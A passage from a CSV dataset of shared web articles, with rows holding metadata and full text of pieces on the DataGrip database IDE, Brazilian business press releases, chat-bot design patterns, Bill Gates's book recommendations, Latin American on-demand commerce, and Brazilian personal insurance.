Conference on Computer Vision and Pattern Recognition in Las Vegas.",en
1466794146,CONTENT SHARED,-742603651309629354,3622641762376806537,-6116365566902521971,,,,HTML,https://www.jetbrains.com/datagrip/,JetBrains DataGrip: Your Swiss Army Knife for Databases and SQL,"Meet DataGrip, our new database IDE that is tailored to suit specific needs of professional SQL developers. Intelligent query console Allows you to execute queries in different modes and provides local history that keeps track of all your activity and protects you from losing your work. Efficient schema navigation Lets you jump to any table, view, or procedure by its name via corresponding action, or directly from its usages in the SQL code. Explain plan Gives you an extended insight into how your queries work and into database engine behavior so you can make your queries more efficient. Smart code completion DataGrip provides context-sensitive code completion, helping you to write SQL code faster. Completion is aware of the tables structure, foreign keys, and even database objects created in code you're editing. On-the-fly analysis and quick-fixes DataGrip detects probable bugs in your code and suggests the best options to fix them on the fly. It will immediately let you know about unresolved objects, using keywords as identifiers and always offers the way to fix problems. Refactorings that work in SQL files and schemas DataGrip correctly resolves all references in your SQL code and helps you refactor them. When you rename a variable or an alias, it will update their usages throughout the entire file. Even the actual table names in the database are updated when you rename references to them from your queries. Version control integration We provide unified support for all major version control systems: Git, SVN, Mercurial and many others. Discover all features",en
1466794934,CONTENT SHARED,-2355230755276061204,-1352064057049251194,-5443637905356404133,,,,HTML,"https://economia.terra.com.br/lancado-1-e-commerce-de-mao-de-obra-operacional-do-brasil,36a1a2bf4bbfe3c430eaed5fc907534ecfdpu6ed.html",Lançado 1º E-commerce de Mão de Obra Operacional do Brasil,"Site agiliza contratação de profissionais qualificados em diversos segmentos e facilita trabalho de gestores. A Russel Serviços, empresa especializada no fornecimento de mão de obra operacional, lançou um e-commerce focado na oferta de profissionais em mais de 10 segmentos. Através do site é possível selecionar e contratar mão de obra qualificada em áreas como construção civil, petróleo e gás, operação de máquinas, energia, eventos, logística, varejo, entre outros. Após a realização do pedido e confirmação de pagamento, o cliente recebe o profissional desejado pronto em até 48 horas com toda a documentação e treinamento necessário. Os gestores podem optar por modalidades de contratação mensal ou diária no endereço:www.russelservicos.com.br Acompanhando as tendências tecnológicas, o site possui design responsivo para facilitar o acesso do usuário no celular e tablet, o que permite realizar compras pelos mesmos, além de um chat online para sanar todas as dúvidas do cliente. O objetivo do projeto é facilitar a vida do gestor que tem o dia a dia corrido e pouco tempo para perder em pesquisas e contratações de mão de obra. ""Estamos utilizando nosso know-how de operação, ofertando segurança e rapidez em processos de contratações para as empresas. Ao invés de 45 dias, como acontece em alguns setores, entregamos o profissional desejado em até 48 horas, com o perfil adequado e pronto para o trabalho"", afirma Hugo Leonardo Russel, fundador da empresa. ""Além disso, oferecemos 150% de garantia nesta entrega além de substituição e reposição, caso necessário, num prazo de 24 horas. Com este modelo que já trabalhamos há 12 anos, pretendemos alcançar um aumento de 200% em nossas vendas"", completa Hugo. Sobre a Empresa A Russel Serviços adquiriu o Certificado de Qualidade ISO 9001 e possui clientes como Odebrecht, Gafisa, João Fortes, RJZ Cyrela, Elcano, Rohr e Atlas Schindler. A empresa também fornece mão de obra para grandes eventos como, Jornada Mundial da Juventude Rio 2013, Fifa Fun Fest, Red Bull Air Race, Copa do Mundo 2014, dentre outros. No ano de 2015, a Russel Serviços recebeu o prêmio de ""Única Empresa do Brasil a entregar Mão de Obra Operacional em até 48 horas"", pela Agência Nacional de Cultura Empreendedorismo e Comunicação. Ao longo dos 12 anos de sua existência a Russel Serviços gerou mais de 5 mil empregos somente no Rio de Janeiro e com o crescimento da demanda dos serviços em outros estados, o próximo passo da empresa é a sua expansão para todo o território nacional. ""Temos uma missão social que é a de gerar empregos e ao mesmo tempo facilitar os processos de contratação nas organizações. A nossa expansão é o resultado do processo contínuo de crescimento, o que demonstra que nossos serviços vêm atendendo aos níveis de exigência do mercado ao fornecermos profissionais que se encaixam na cultura e no perfil desejado pelas empresas"", finaliza Hugo. Assista ao Vídeo Institucional: Este é um conteúdo comercial divulgado pela empresa Dino e não é de responsabilidade do Terra",pt
1466795857,CONTENT SHARED,-1565401790888834000,-1352064057049251194,-5443637905356404133,,,,HTML,http://exame.abril.com.br/negocios/dino/noticias/grupo-abril-da-mais-um-passo-na-unificacao-dos-seus-negocios-une-a-operacao-de-logistica-e-reformula-a-total-express.shtml,Grupo Abril dá mais um passo na unificação dos seus negócios: une a operação de logística e reformula a Total Express | EXAME.com,"O Grupo Abril unificou, na Total Express, as três marcas da sua holding de distribuição e logística, antiga DGB. A Total Express, companhia privada de maior abrangência do setor, alcança 94% do potencial de consumo do Brasil. A empresa que distribui diariamente até 350 mil encomendas para 750 grandes players do mercado, entre editores, varejistas, empresas de e-commerce e indústrias, ganha também uma nova logomarca, que traduz o dinamismo e a eficiência da sua entrega. A unificação da operação na Total Express tem como objetivo estruturar a holding de distribuição e logística para a expansão, com ampliação do portfólio de serviços, sobretudo ao B2B, e abertura de centrais regionais de atendimento em todo o país. No 1º semestre de 2016, cinco escritórios foram abertos e a expectativa para os próximos anos é de chegar a 100. Ainda na linha de ampliar os serviços oferecidos, a Total Express está se estruturando para oferecer logística reversa com a mesma capilaridade de suas entregas. Recentemente, a companhia anunciou um investimento de R$ 20 milhões em tecnologia e automação, que irá dar todo o suporte para os novos planos da empresa. Visão de futuro ""Com esta unificação da operação de logística e distribuição demos mais um passo relevante para uma maior integração entre as várias empresas e unidades do Grupo Abril. O mercado encontra, cada vez mais, na Abril um pacote completo de conteúdo, impressão, logística e distribuição à disposição do seu produto e da sua marca."" afirma Walter Longo presidente do Grupo Abril. ""Em um mundo cada vez mais conectado, concentramos esforços e investimentos no sentido de oferecer a melhor experiência aos nossos clientes."", finaliza Longo. Seguindo uma tendência mundial, a Total Express passa a focar em três pilares de serviços: Corporate (entregas feitas entre as empresas), E-commerce (foco no consumidor final) e Publicações (entregas avulsas e porta a porta). ""Além da expertise, o nosso grande diferencial é a capilaridade. Onde houver uma empresa ou um consumidor, em qualquer lugar do Brasil, a Total Express oferece uma solução rápida e confiável"", afirma o CEO da empresa, Claudio Prado.",pt
1466798268,CONTENT SHARED,5816734694927565572,-48161796606086482,-1849852261539863036,,,,HTML,http://willschenk.com/bot-design-patterns/?imm_mid=0e50a2&cmp=em-data-na-na-newsltr_20160622,Bot Design Patterns,"In the antediluvian days before Google found everything for us, personal software agents were going to continuously do our bidding in cyberspace , tracking down air fares, making stock trades and otherwise doing futuristic things that we soon wouldn't be able to live without. The anxiety of Y2K rose and crested, and the messianic aura of agents was washed away by more centralized and effective solutions. The aspirational residue did yield some nuggets, and the idea has found partial success in the form of the bot . In the popular imagination bots exist on Twitter as art projects or as marketing machines or as the perfect online dating scandal . Bots can be characterized by asking a few questions, and from these answers we can tell something about their implementation and what it takes to build one: Do they react to messages? Do they know who they are talking to? Can they learn from what was said? Do they know where the conversation is taking place? Do they remember the overall conversation? From this, we can classify bots into one of six types: Notifiers Reactors Space Reactors Responders Space Responders Conversationists Each of these have progressively more complex context that the bot is operating in. Most chat mediums have different message types, where message can be directed towards or private to a particular user. Confounding things further, some have a native concept of spaces , generally called a room or a channel , and as we treat people differently in different context the bot will also need to be aware of the difference context that the conversion is taking place. We can call those services Spaced . Keeping track of User / Space context is more challenging than just User context Notifiers Notifiers are the ""simplest type""of bots, in the sense that the messaging logic is a minor part of the overall program. As a consequence they are the most common and the most varied. Broadcast a message based upon an external source Don't react to messages, so the answers to all the other questions are irrelevant. The trick in Notifiers is in figuring out what to say, not sending the message. These are best implemented by having one program generate the information, and sending that to another program that sends the message to the chat service. This could be a monitoring agent that is checking to see if a URL is responding, and if not, sends an alert. It could be a build process that returns a success or failure message. It could be a program that selects ""the next word"" from a lists of words and tweets one out every hour. Or it could make a bunch of API calls to different services, correlate that with information from a database, do more complicated calculations, and then post it. There's a bot that monitors the top links on hacker news, so it needs to pull down a list of top content, keep track of if it's tweeted it out before, and then send out the message. The sending part is simple, but the overall bot may not be. Reactors Reactors take action based upon incoming messages, but have no memory of who it's talking with or what space it's talking in. The who and where maybe in the message headers, and the bot can return the message in the correct place, but there is no bot-persisted memory of them. Reacts to messages on the chat service Doesn't remember anything that was said The basic idea is that a reactor gets a message, does something with it, and moves on. A lot of twitter bots follow this pattern, where they are looking at things on the stream and commenting upon them. For example, here's something that listens for tweets matching the string not a feminist and reacts by tweeting that that user isn't a feminist: It could do something more interesting, like looking for an image url, downloading it, running it through ImageMagick, posting it to S3, and then tweeting it back out. But since the bot itself keeps no message or user state, we consider it a reactor . Message Dispatching Here we reach a phase change in the level of ambient complexity of the bot. Simple Reactors respond to all messages the same way, relying on the filter to select messages that it cares about. More complex reactors need to figure out what message it's being sent and reply differently: Case loop: Command objects: This can also be done using metaprogramming , something like this: That is nonsense pseudo code, but a lot of chat bot libraries focus in on that area doing something very similar to what Thor does for command line programs. Space Reactors Space Reactors , in addition to having an awesome name, react to incoming messages, and know where they are receiving a message. The bot has memory of the place, and will respond to the user differently depending upon where the conversation was taking place. Reacts to messages on the chat service Knows where its being addressed Doesn't remember anything that was said When a reactor is run in on Spaced chat medium, it needs to factor in where the message was received. Instead of having user and message to work with, it now has user , message , and space . You can either find the space within each of the commands: Or locate the commands inside of the space, which lets you separate out which commands are available depending the properties of the space. If you have a HipChat bot and have a room for each company project, and you want to have the bot respond to wtf with the last commit message on github. The first thing that you need to do is look at which room the message came from, and correlate that a list of repositories, then make a Github API call, and finally post the commit message back to the room. The find_project method implies that you now need to have persistent state associated with the Space , in this case the unspecified project object. It's not just a matter of making sure that your reply goes to the correct place, but that what you reply will changed based upon where the person said it. Responders Responders listen for messages and remember what was said to them. They are different from Reactors because they have persisted User state, and so can learn something from the user. Reacts to messages Knows who they are talking to Can learn from what was said It's natural here to include the dispatching inside of the object that keeps track of the user state. Here's a pseudo example of a bot that lets you update your nickname. First by loading the user inside of the Bot: But it may also make sense to create different types of dispatchers for different users, in this pseudo code there are 3 different types of responders and depending upon who is sending the message different functions are available to them: This example is misleading because in real life direct inherency doesn't scale well, as we'll see below. Space Responders Space Responder learn things about who is talking with them and the context in which they are speaking. Reacts to messages Knows who they are talking to Can learn from what was said Knows where its being addressed The challenge here is how do you juggle the permutations of state. Lets take the example of a user is an admin in one project, where they can send commands to reboot the server, and in another project they can only open new tickets. In the basic case, you can do everything in each of your methods: Lets say that we had two different types of users, admins or not, and two different types of spaces, one that mapped to a project and another that mapped to a hangout area. We could expand out idea of the SpaceDispatcher to return a different command object based upon the combinations. We're also using inheritance to include all of the methods that the regular user can do into the class that has all of the Admin methods. This pseudocode has turned into an unholey mixture of Ruby and CoffeeScript, so it probably isn't work doing into language details with this. But straight up inheritance doesn't work well for this type of reuse, and in our example project admins won't be able to change the topic . These commands would better be structured as mixins. Conversationists The final, and technically most complicated type of bot to write is a Conversationalist . Reacts to messages Knows who they are talking to Can learn from what was said Has conversational state Knows where its being addressed The basic structure is: The User object is responsible for keeping track of conversations. current_conversation can be smart enough to create a new conversation when things are stale or if there user explicitly closed out an active one. Here is an example of code from a bot that asks you questions about where you are and what sort of food you are looking for. It searches a number of APIs in the background to see what information it can get from what you say. The code is written with an Adaptor to talk Twitter or GChat, and they both have a different idea of location. Sometimes it can get an accurate enough location the message metadata, but more likely it's too vague and it will ask you to clarify. ( Not all of that logic is below, but its useful to demonstrate the use of the state machine .) The knowledge attributes are what the bot knows in the conversation. Below you'll see an example of knowledge of the conversation from the state machine, knowledge of what as been said from previous messages, and knowledge of deduction from the content and context of the messages. Thats the shape of it Notifiers , Reactors , Space Reactors , Responders , Space Responders , and Conversationists . Writing Notifiers and Reactors are more playful, and as you get into things later in the list you spend a lot more time dealing with code and logic complexity. The distinction between a Spaced and Global chat medium is something that makes using chat libraries, and building Adapters to different services difficult. If the library was built with a Spaced service in mind it's pretty straightforward to make it work for one, but going the other way isn't swimming upstream. Towards a taxonomy of Twitter Bots BotSummit was a few days ago, and a bunch of people got together to talk about Twitter bots that they made largely as art projects. Here's a draft of a taxonomy of Twitter bots made by Tully Hanson . In the parlance of this post, these are mainly Notifiers and Reactors , with some possible Responders thrown in: Here's the source document Notifiers are interesting not because of their technology, but because of what they actually do. Here's a list of ideas that people came up with . Hubot from Github is a company chat bot written in Node Hubot from Github : GitHub, Inc., wrote the first version of Hubot to automate our company chat room. Hubot knew how to deploy the site, automate a lot of tasks, and be a source of fun in the company. Eventually he grew to become a formidable force in GitHub. But he led a private, messy life. So we rewrote him. Lita is similar to Hubot but written in Ruby Lita homepage Image from Lita Huginn is your agent, standing by Huginn takes a bit to install, but it's a full on software agent of the old school. Image ""Odin, der Göttervater"" by Carl Emil Doepler (1824-1905) - Wägner, Wilhelm. 1882. Nordisch-germanische Götter und Helden. Otto Spamer, Leipzig & Berlin. Page 7.. Licensed under Public domain via Wikimedia Commons - Link Huginn is a system for building agents that perform automated tasks for you online. They can read the web, watch for events, and take actions on your behalf. Huginn's Agents create and consume events, propagating them along a directed graph. Think of it as a hackable Yahoo! Pipes plus IFTTT on your own server. You always know who has your data. You do. We're just getting started, but here are some of the things that you can do with Huginn right now: Track the weather and get an email when it's going to rain (or snow) tomorrow (""Don't forget your umbrella!"") List terms that you care about and receive emails when their occurrence on Twitter changes. (For example, want to know when something interesting has happened in the world of Machine Learning? Huginn will watch the term ""machine learning"" on Twitter and tell you when there is a large spike.) Watch for air travel or shopping deals Follow your project names on Twitter and get updates when people mention them Scrape websites and receive emails when they change Connect to Adioso, HipChat, Basecamp, Growl, FTP, IMAP, Jabber, JIRA, MQTT, nextbus, Pushbullet, Pushover, RSS, Bash, Slack, StubHub, translation APIs, Twilio, Twitter, Wunderground, and Weibo, to name a few. Compose digest emails about things you care about to be sent at specific times of the day Track counts of high frequency events and send an SMS within moments when they spike, such as the term ""san francisco emergency"" Send and receive WebHooks Run arbitrary JavaScript Agents on the server Track your location over time Create Amazon Mechanical Turk workflows as the inputs, or outputs, of agents. (""Once a day, ask 5 people for a funny cat photo; send the results to 5 more people to be rated; send the top-rated photo to 5 people for a funny caption; send to 5 final people to rate for funniest caption; finally, post the best captioned photo on my blog."") Let me know cool things you build!",en
1466799813,CONTENT SHARED,-659411840002799494,3609194402293569455,-2482678232790827423,,,,HTML,http://www.inc.com/jeremy-goldman/9-books-bill-gates-recommends-to-become-a-better-entrepreneur.html,Bill Gates Recommends These 9 Books to Make You a Better Entrepreneur and a Better Person,"It is rare that we have the opportunity to peer into the minds of titans, to follow along as they expand their knowledge and refine their way of thinking. With most, we are limited to the books they write and their public statements. Everything they say seems to have come from the ether, as though these blessed individuals just know things. But Bill Gates is not a man to hide behind the curtain. Even if he has never been as flashy as some other tech giants, he has been generous enough to give us a look into his own self-education and interests, so that we too can find out a little bit about what makes great men tick. Gates estimates that he reads about 50 books a year, and the best of these are profiled on his blog, gatesnotes.com. Even if his Microsoft days are over, Gates is not losing interest in business anytime soon, and he reviewed many books that can help entrepreneurs and business leaders achieve success. While most books on his website would provide value to the inquisitive mind, these nine books provide the most direct, actionable advice for starting, growing, and running a world-class business. 1. Mindset: The New Psychology of Success (Carol Dweck) Mindset explores the concept of nature versus nurture as it applies to intelligence, and challenges the idea that the talents and qualities we are born with cannot be altered. Instead, she argues that intelligence can be grown like a muscle, and cautions that the belief of static intelligence can be debilitating. This book helps to dispel the belief that you can't achieve success unless you are born ""special,"" unless you have some magical inborn ability to be great. It is a great motivator, and helps put the rest of this list in context. In Gates's opinion, ""the greatest virtue of the book is that you can't help but ask yourself things like, 'Which areas have I always looked at through a fixed-mindset lens?'"" Once you know, you can change your way of thinking to become more productive. 2. Where Good Ideas Come From: The Natural History of Innovation (Steven Johnson) Johnson's book provides a much-needed perspective on innovation and entrepreneurship, acknowledging a more realistic view of how even the largest breakthroughs come to be. Gates praises the book's focus on incremental development, and admits that Microsoft wasn't the result of ""a momentous flash of insight."" Innovation takes time, but all too often, the story demands entertainment, drama, larger-than-life characters. But contrary to popular representation, most big companies are not the result of a House-like moment, where one sentence triggers a brilliant revelation. Where Good Ideas Come From is a great book for the entrepreneur, not only because it brings the story of innovation down to earth, but also because it examines the kind of conditions that foster development. With this book in hand, you can help shape the conditions that are conducive to success. 3. Business Adventures (John Brooks) If Bill Gates recommends a business book, there's a pretty good chance it's worth checking out. If Bill Gates and Warren Buffett lavish praise on a book, the real question is why you don't already have your credit card out. Business Adventures consists of a series of case studies, examining troubles and triumphs at companies such as General Electric, Ford, and Xerox. It provides a great view on the human factor of successful companies: Do you have the right people? Do they have the right roles? "" Business Adventures is as much about the strengths and weaknesses of leaders in challenging circumstances as it is about the particulars of one business or another. In that sense, it is still relevant not despite its age but because of it. John Brooks's work is really about human nature, which is why it has stood the test of time."" 4. Steve Jobs (Walter Isaacson) If Gates found value in the case study of famous characters from the '60s, you better believe he was quick to pick up this riveting account of his peer, his competitor, and his (sometimes) friend. Steve Jobs is a brutally honest account of the man's life, work, and mind. But the book holds much more than entertainment value, and closely follows the development of Apple's famous flagship products. Readers beware: After you finish this book, you may find your Amazon cart full of books on design and product development. 5. The Art of Being Unreasonable (Eli Broad) It is only fitting that this book follows Steve Jobs . That man was famous for his ""reality distortion field,"" his ability to push people to do seemingly impossible things. The Art of Being Unreasonable follows that same vein, pushing readers to reject limits, ask unreasonable things of people, and take big risks. Broad wants his readers to avoid being second at all costs, to demand more of themselves and others, and to seek the best in everything. It's no surprise that this book ended up on Gates's list. 6. The Black Swan: The Impact of the Highly Improbably (Nassim Taleb) Continuing with this idea of changing our way of thinking, The Black Swan is a thought-provoking exercise, prompting us to reexamine how we predict the future. Taleb argues that ""history does not crawl, it jumps."" We are pattern-seeking creatures, and put a lot of faith in what we've seen in the past. Yet this same outlook, while valuable, can blind us to many of the future's possibilities. This book is a great way to shake up some of your ingrained beliefs, and help you start thinking about how to be ready for when these random events occur. 7. Outliers (Malcolm Gladwell) Gates's main takeaway from Outliers is the idea that ""we pay too much attention to what successful people are like, and too little attention to where they are from: that is, their culture, their family, their generation, and the idiosyncratic experiences of their upbringing."" Sound familiar? It is a very good complement to Where Good Ideas Come From , examining the environmental factors of success and not just the central characters. And, like with Johnson's book, it can help you figure out what factors will promote these desirable qualities. 8. The Road to Character (David Brooks) Gates's enormous success and current standing in life have, understandably, led to some serious self-reflection about his impact on the world. One of the most notable figures in philanthropy, Gates was not always so beloved, and those who lived during the rise of Microsoft do not forget how he conducted business. Brook's book is about that conflict of ego and character, manifested in ""Adam I"" and ""Adam II."" The former represents our ambitious side, while the latter represents our moral side, the side that wants to do good in this world. The Road to Character examines this dual nature of ours through profiles of historical figures, demonstrating how this dynamic can play out in real life. In the end, Brooks says, we can achieve true, meaningful satisfaction only through Adam II. The big question, which Gates asks himself, is ""At what points do my talents and deep gladness meet the world's deep need?"" 9. Showing Up for Life (Bill Gates Sr.) It is not family loyalty that brought this book to Gates's list, but its relevance to anybody seeking success in life, entrepreneur or not. Showing Up for Life is a wonderful collection of short essay from Bill's father, promoting good life principles in his stories of business, family, and personal experiences. It might not contain revolutionary business principles or hard-hitting tactics, but hopefully it will encourage you to take a look at your own life, and what you can learn from them. Unfortunately, there is no silver bullet in business or in life, no one single book that will give you all the answers. It is the culmination of dozens of books such as these, of meaningful experiences, of good company, that will inform how you approach your business and your life. This list is a great start for those starting out, but if you want to be successful, don't stop with number nine. Find the resources that speak to you, and never stop learning.",en
1466862481,CONTENT SHARED,4419562057180692966,-1032019229384696495,6917925448322846329,,,,HTML,https://techcrunch.com/2016/06/25/latin-americas-chronic-inefficiency-could-drive-more-o2o-commerce-growth/,Latin America's chronic inefficiency could drive more O2O commerce growth,"After 45 minutes on the phone with a travel agent, I've grown too frustrated with trying to figure out different alternatives for an international flight to the Maldives that stops in Paris on the way back. Within seconds, I'm compelled to pick up my mobile phone where Skyscanner and Kayak can help me much more efficiently. Tired and hungry, I find the refrigerator is empty. When I call in my order to my favorite Italian restaurant, the representative on the line doesn't recognize me and asks how she can help me. Yet, it's so obvious why I'm calling. Then she asks me for my phone number and address, and has no record of what I typically order when I call in for food delivery two to three times a week. The truth is that Latin America is extremely inefficient and its technology is behind North America. Yet, in Brazil, one of the world's largest economies despite the current crisis, e-commerce sales are expected to reach more than $22 billion this year (up more than 13 percent over 2015), and m-commerce in Brazil continues to rise at a fast pace, according to recent data from eMarketer . The mobile market opportunity is massive: more than 100 million people in Brazil are already online today, and there are nearly another 100 million more to go. There are numerous daily tasks that can be solved with ease in the U.S. In comparison, the lack of training, standardization and process in Brazil creates chronic inefficiencies in the service sector that push consumers to prefer and use mobile applications that provide everyday services in a standardized manner. In many cases, the experiences between online and offline service in the U.S. can be marginal. However, in Latin America it can be a significant and annoying difference. When you try to buy auto insurance with a broker by telephone, for example, the time you can expect to waste is much higher in Latin America. The lack of visibility into your options is huge. The bureaucracy in terms of the number of necessary documents and data required is exponentially higher. After headache-causing calls, the chances of getting only one quote without a comparison are big. The broker will likely just push their favorite insurance company. Brazil leads O2O commerce sector growth in Latin America Intense traffic in big metropolitan areas have helped create a new market for on-demand delivery by couriers on motor bikes. Crossing the city at high speeds while dodging cars and buses, they deliver documents and small parcels. \ There are now nearly one million ""motoboys"" in Brazil, and more than 200,000 of them work in the city of Sao Paulo alone. To make this fleet more efficient, motoboy hailing apps such as Rapiddo and Loggi are growing fast. On-demand pickup and delivery of laundry is another fast-growing O2O commerce service offering in big cities. Based on subscription fees, on-demand laundry operators are becoming an important service for the always-busy, always-late ""Paulistas"" (those born in Sao Paulo). ALavadeira is one example of a stand-out company in this new laundry service segment. With unemployment reaching a record high in Brazil, DogHero , which is similar to DogVacay or Rover, is having no problem finding new hosts for its popular pet-sitting platform. Whoever loves dogs with available time can apply to become a DogHero host for ""man's best friends."" In Brazil's larger cities, there is a huge shortage of hotels for dogs or kennels, making it difficult for dog owners to travel because they have no one to take care of their pets while they're away. In addition to new consumer offerings, the O2O commerce trend is helping reduce bureaucracy for small business owners. A new phenomenon is occurring in Brazil in response to the high unemployment rate: the number of individual micro-entrepreneurs (MEIs) are skyrocketing. More than 5.5 million of them now operate in Brazil. They offer a variety of services and goods from plumbing to manicures. In response, a government program was introduced at the end of 2009 to track and formalize them as business owners and to collect taxes. Prior to that, the MEIs never paid taxes or social security before. To help them navigate though it, Qipu is a new mobile app and service that helps MEIs manage taxes and finances. It also controls and automates access to social benefits. Qipu has grown fast with more than 200,000 active users. Mobile innovation will create Latin American service sector efficiencies The current experiential difference between the U.S. and Latin America creates two huge opportunities for O2O commerce growth. The first is the rapid adoption of new services that will balance it with the U.S. experience by creating more efficiencies where they're badly needed, led by fast mobile app adoption. T he second is we'll probably see new models in Brazil that didn't necessarily work as well in the U.S. Imagine a model like the instacart, in which you can use a mobile app to make grocery shopping that's delivered to your place in just a few hours. When you analyze the unit economics, Brazil could actually be an even better market than the U.S. for new on-demand businesses. Delivery person salaries, for example, are much lower in Brazil. There are fewer comparable services for the Brazilian to choose from, which provides an advantage for early-mover brands. Plus, the Brazilian consumer would likely have to travel more kilometers to find the products, most likely through heavy traffic or using poor public transport in large cities. For these reasons in particular, a Brazilian is even more likely to pick up a cell phone and request through a mobile app for a bicycle deliveryman do this work instead. It wouldn't be the first time that a model that did not work as well in the U.S. would work here. This happened in comparison e-commerce, for example, Buscapé for many years represented a large share of the domestic e-commerce. And the price-comparison model has never been more relevant in any other e-commerce market than Brazil. Thus, new eServices led my mobile innovation and rapid consumer adoption will fuel a growing on-demand economy in Brazil and Latin America through increased consumer convenience, the third most important vector driving consumer purchases after selection and price, by creating more efficiencies and less work. For this reason, I predict that innovative startups and larger companies that see the potential of solving inefficiencies will push growth of more than 50 percent year-over-year, even despite the current economic crisis in Brazil. This growth rate is already occurring today with iFood for food, MinutoSeguros for insurance, ViajaNet for airline tickets, Nubank with credit cards, to name a few examples of which I am very familiar with today. But be sure: the eServices revolution is coming soon for your plumber, your babysitter and your bank manager. Some more Brazilian startups that are disrupting inefficiencies with eServices include: Disclosure: Of the 22 Latin American companies mentioned in article, three of them (Magnetis, MinutoSeguros and ViajaNet) have received investments from Redpoint eventures, where Rodrigues is a partner and managing director. He's served as a board member, or is currently an advisor, shareholder or personal investor in six of the other companies (Buscape, Cheftime, iFood, Qipu, Rapiddo and Truckpad).",en
1466865624,CONTENT SHARED,-4399400419562742528,-6895155480127642372,6182198327666594200,,,,HTML,http://www.cnseg.org.br/fenaprevi/seguro-de-pessoas/,Seguro de Pessoas,"No curso de suas vidas as pessoas estão sujeitas a uma série de infortúnios, inclusive relacionados a danos físicos, podendo-se destacar como mais relevantes: a morte, as consequências de um acidente pessoal, a enfermidade grave, a perda do emprego ou o impedimento de exercer a atividade, a invalidez permanente ou temporária, os riscos de enfrentar a velhice em condições financeiras desfavoráveis em relação àquelas usufruídas durante o período laboral, entre outros. Sistemas públicos universais de seguridade, previdência e assistência social oferecem proteção para essas e para outras situações, mas, em condições que nem sempre suprem as reais necessidades dos indivíduos, em razão de limitações impostas pelos programas governamentais, em especial no tocante à percepção de valores financeiros. Nesse cenário, são criadas, regulamentadas e prosperam as modalidades privadas de prevenção contra os impactos financeiros negativos relacionados ao enfrentamento desses infortúnios, ou seja, programas de adesão voluntária voltados ao atendimento das necessidades das pessoas de proteção adicional para si ou para terceiros (beneficiários) em relação às inexoráveis consequências desses infortúnios, constituídos e operacionalizados, sobretudo, no segmento de seguros de pessoas, privado. A propósito, deve-se observar que, por se destinarem objetivamente à proteção pessoal, proporcionando garantias financeiras na hipótese de ocorrência de danos físicos imprevisíveis aos indivíduos segurados, os planos de seguros de pessoas e os de benefícios de previdência complementar aberta são técnica e operacionalmente muito assemelhados. Diferenciam-se, basicamente, em aspectos estruturais relacionados à segmentação dos respectivos produtos, em função das finalidades mais diversificadas e específicas dos primeiros e, sobretudo, em decorrência do tratamento fiscal ao qual sujeitam os consumidores. O seguro de pessoas, mediante o pagamento do prêmio à sociedade seguradora, tem por finalidade garantir a proteção financeira (capital segurado contratado), caso ocorra o infortúnio por ele coberto. O prêmio feito para custeio do plano de seguro contratado poderá ser pago de forma única, ou em parcelas periódicas, de acordo com o produto, respectivas coberturas e prazo contratado, inclusive por toda a vida. À seguradora caberá, na hipótese de ocorrência do infortúnio coberto pelo seguro, honrar o pagamento do valor do capital segurado, contratualmente pré-determinado. Trata-se, portanto, de um importante mecanismo de proteção social, pois contribui, direta ou indiretamente, para minimizar dificuldades que titulares desses seguros e respectivos beneficiários virão a enfrentar caso ocorra o infortúnio ao segurado. COBERTURAS DE RISCO O seguro de pessoas pode oferecer uma variada gama de coberturas de risco, dentre as quais a mais comum, a por morte. Nesse caso, ou seja, quando prevista a cobertura de morte , o seguro se denomina seguro de vida. Essa cobertura garante o pagamento do valor pré-determinado do capital segurado ao(s) beneficiário(s) livremente indicado(s) pelo segurado, caso ocorra seu falecimento, e à falta de indicação dele aos seus sucessores, na forma da lei civil. Importante registrar como peculiaridade da cobertura de morte, a possibilidade de sua contratação exclusivamente para os casos de ocorrência de acidente pessoal. Assim, são oferecidas pelo mercado segurador a cobertura de morte em decorrência de acidente e/ou a cobertura de morte por qualquer causa , sempre respeitados os riscos considerados excluídos pelo plano de seguro, conforme as condições contratuais. Não obstante o expressivo benefício que essa cobertura proporciona aos componentes das mais diversas camadas sociais, ela ganha especial relevância para as classes socialmente menos favorecidas, onde a ocorrência desse infortúnio (óbito do provedor da família), normalmente, compromete, de forma imediata, a renda e naturalmente a subsistência familiar. O Governo Federal e as Sociedades Seguradoras vêm, assim, envidando esforços para facilitar a essa faixa da população, e a outras ainda de menor poder aquisitivo, o acesso à proteção inerente ao referido seguro de vida . Há, por esse lado, uma importante variação do seguro de vida, intimamente relacionada a esse público-alvo, ou seja, o seguro funeral . O seguro funeral prevê a mesma cobertura do seguro de vida (morte), associada, no entanto, ao reembolso das despesas ocorridas com o sepultamento do segurado. Normalmente, possibilita a inclusão de todos os componentes familiares, com propósito, inclusive, de reduzir os custos individuais. O reembolso, no entanto, pode, a critério do segurado, ser substituído pela prestação direta dos serviços, responsabilizando-se a sociedade seguradora pela realização de todas as etapas do funeral. Conforme mencionado, há, ainda, uma ampla gama de coberturas de risco, e desdobramentos destas, que podem ser oferecidas nos seguros de pessoas, tais como: (i) coberturas de invalidez permanente ou temporária, de caráter total ou parcial, decorrentes de acidentes pessoais e/ou de doenças; (ii) cobertura de diárias por incapacidade temporária; (iii) cobertura de despesas médicas, hospitalares e odontológicas, em caso de acidentes pessoais; (iv) cobertura de diárias por internação hospitalar; (v) cobertura de doenças graves; (vi) cobertura por perda de renda; (vii) cobertura por sobrevivência; entre tantas outras modalidades de cobertura e possíveis combinações e variações. Algumas dessas variações de cobertura, por assumirem destinação específica, e se sujeitarem à significativa demanda por parte dos consumidores, tornaram-se, ao se combinarem, produtos ""combos"", assumindo, dessa forma, identidade própria, e, como tal, são oferecidos pelas sociedades seguradoras, tradicionalmente. É o caso, por exemplo, do seguro prestamista, do seguro habitacional, do seguro educacional, do seguro de viagem, do próprio seguro funeral descrito anteriormente, do seguro desemprego, e das diversas modalidades do seguro dotal onde se combinam coberturas ""de risco"" e ""de sobrevivência"". Nos casos do infortúnio da invalidez, são de conhecimento geral as dificuldades enfrentadas pelo inválido e por seus familiares. Além das consequências físicas e emocionais, a nova realidade a ser enfrentada agrava, na maior parte das vezes, a situação financeira da família, pois às despesas com longos e, muitas vezes, com perenes tratamentos, soma-se, em muitos casos, a impossibilidade de o inválido auferir renda própria por meio do exercício de atividade laborativa. Assim, no caso da cobertura por invalidez, o capital segurado pago pela sociedade seguradora, quando atestado o infortúnio, facilita ao segurado o acesso a tratamentos (médicos, hospitais, reabilitação, medicamentos e equipamentos de auxílio) destinados a melhorar sua qualidade de vida, além de auxiliar financeiramente as pessoas que compartilham, diretamente, desse interregno de dificuldades. Como variantes da cobertura de invalidez, podem ser citadas as para invalidez total e permanente , para invalidez parcial permanente , e para invalidez temporária . Além dessas, outras opções foram desenvolvidas pelo mercado segurador, a partir do evento gerador da condição invalidante. 